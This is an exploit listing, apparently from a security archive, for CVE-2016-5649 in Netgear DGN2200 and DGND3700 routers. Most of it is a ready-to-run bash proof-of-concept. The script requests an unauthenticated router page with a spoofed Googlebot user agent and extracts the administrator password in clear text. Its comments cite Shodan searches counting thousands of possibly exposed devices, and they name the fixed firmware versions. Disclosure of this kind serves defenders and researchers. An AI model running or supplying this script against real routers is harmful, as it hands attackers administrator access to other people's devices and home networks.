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Netgear DGN2200 / DGND3700 Admin Password Disclosure

Netgear DGN2200 / DGND3700 Admin Password Disclosure
Posted Apr 30, 2019
Authored by Social Engineering Neo

Netgear DGN2200 and DGND3700 proof of concept administrative password disclosure exploit.

tags | exploit, proof of concept, info disclosure
advisories | CVE-2016-5649
SHA-256 | 1ebbdd1c92e2e6c2d3be1f0ae4caf46fd96ca67370be6b729b67f566fd178d82

Netgear DGN2200 / DGND3700 Admin Password Disclosure

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#/bin/bash

# PoC based on CVE-2016-5649 created by Social Engineering Neo.
#
# Long Method: https://www.youtube.com/watch?v=f3awG0XPKAs
#
# https://www.shodan.io/search?query=DGN2200 = 2,325 possible vulnerable devices.
# https://www.shodan.io/search?query=DGND3700 = 555 possible vulnerable devices.
#
# A vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication.
# When the request is processed, it exposes the administrator password in clear text before getting redirected to 'absw_vfysucc.cgia'.
# An attacker can use this password to gain administrator access of the targeted routers web interface.
#
# Netgear has released firmware version 1.0.0.52 for DGN2200 & 1.0.0.28 for DGND3700 to address this issue.

clear
read -p "Enter Target Address Followed by Port: " target port # localhost 8080

if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then
grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' $target:$port/BSW_cxttongr.htm)
pass=$(echo $grab | awk '{print $218}' | tail -c +2 | head -c -3)
if [ "$pass" == '' ] || [ "$pass" == '/html' ] ; then
echo Invalid Response, Target May Not be Vulnerable.
else
echo The Password for: $target is: $pass
fi
else
echo "Incorrect Port."
fi
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